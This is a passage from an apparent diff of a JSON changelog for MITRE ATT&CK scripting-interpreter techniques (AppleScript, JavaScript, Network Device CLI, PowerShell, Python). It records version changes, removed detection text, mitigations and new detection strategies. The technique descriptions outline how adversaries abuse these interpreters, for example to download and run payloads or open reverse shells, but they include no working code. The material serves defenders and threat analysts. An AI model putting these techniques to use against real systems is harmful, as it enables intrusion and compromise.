intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}", + "previous_version": "2.6", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1026: Privileged Account Management", + "M1033: Limit Software Installation", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1045: Code Signing", + "M1047: Audit", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0516: Behavioral Detection of Command and Scripting Interpreter Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:07:54.329000+00:00", + "modified": "2025-10-24 17:48:39.348000+00:00", + "name": "AppleScript", + "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0NSAppleScript\u00a0or\u00a0OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/002", + "external_id": "T1059.002" + }, + { + "source_name": "Apple AppleScript", + "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.", + "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html" + }, + { + "source_name": "SentinelOne macOS Red Team", + "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.", + "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/" + }, + { + "source_name": "SentinelOne AppleScript", + "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.", + "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/" + }, + { + "source_name": "Macro Malware Targets Macs", + "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Phil Stokes, SentinelOne" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.348000+00:00\", \"old_value\": \"2025-04-15 19:58:22.484000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1045: Code Signing" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0414: Detection of AppleScript-Based Execution on macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-23 19:12:24.924000+00:00", + "modified": "2025-10-24 17:48:24.217000+00:00", + "name": "JavaScript", + "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/007", + "external_id": "T1059.007" + }, + { + "source_name": "Apple About Mac Scripting 2016", + "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html" + }, + { + "source_name": "MDSec macOS JXA and VSCode", + "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.", + "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/" + }, + { + "source_name": "Microsoft JScript 2007", + "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript" + }, + { + "source_name": "Microsoft Windows Scripts", + "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces" + }, + { + "source_name": "JScrip May 2018", + "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript" + }, + { + "source_name": "NodeJS", + "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.", + "url": "https://nodejs.org/" + }, + { + "source_name": "SentinelOne macOS Red Team", + "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.", + "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/" + }, + { + "source_name": "SpecterOps JXA 2020", + "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.", + "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5" + }, + { + "source_name": "Red Canary Silver Sparrow Feb2021", + "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.", + "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Cody Thomas, SpecterOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Process: Process Creation\", \"Script: Script Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.217000+00:00\", \"old_value\": \"2025-04-15 22:43:16.394000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n\\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n-\\n-Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0264: Cross-Platform Detection of JavaScript Execution Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-20 00:09:33.072000+00:00", + "modified": "2025-10-24 17:49:02.287000+00:00", + "name": "Network Device CLI", + "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/008", + "external_id": "T1059.008" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Command History", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23" + }, + { + "source_name": "Cisco Synful Knock Evolution", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.287000+00:00\", \"old_value\": \"2025-04-16 20:37:18.015000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\\n\\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\\n-\\n-Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0142: Behavioral Detection of CLI Abuse on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 13:48:55.078000+00:00", + "modified": "2025-10-24 17:49:07.660000+00:00", + "name": "PowerShell", + "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/001", + "external_id": "T1059.001" + }, + { + "source_name": "Microsoft PSfromCsharp APR 2014", + "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.", + "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/" + }, + { + "source_name": "SilentBreak Offensive PS Dec 2015", + "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.", + "url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/" + }, + { + "source_name": "FireEye PowerShell Logging 2016", + "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" + }, + { + "source_name": "Github PSAttack", + "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.", + "url": "https://github.com/Exploit-install/PSAttack-1" + }, + { + "source_name": "inv_ps_attacks", + "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.", + "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + }, + { + "source_name": "TechNet PowerShell", + "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx" + }, + { + "source_name": "Sixdub PowerPick Jan 2016", + "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.", + "url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mayuresh Dani, Qualys", + "Praetorian", + "Ross Brittain" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Process: Process Creation\", \"Process: Process Metadata\", \"Command: Command Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.660000+00:00\", \"old_value\": \"2025-04-15 19:58:52.378000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\\n\\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\\n\\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\\n\\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\\n-\\n-Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\\n-\\n-It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\\n-\\n-Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program", + "M1045: Code Signing", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0455: Abuse of PowerShell for Arbitrary Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:38:24.334000+00:00", + "modified": "2025-10-24 17:49:23.660000+00:00", + "name": "Python", + "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/006", + "external_id": "T1059.006" + }, + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.660000+00:00\", \"old_value\": \"2025-04-15 19:59:08.245000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1033: Limit Software Installation", + "M1038: Execution Prevention", + "M1047: Audit", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, 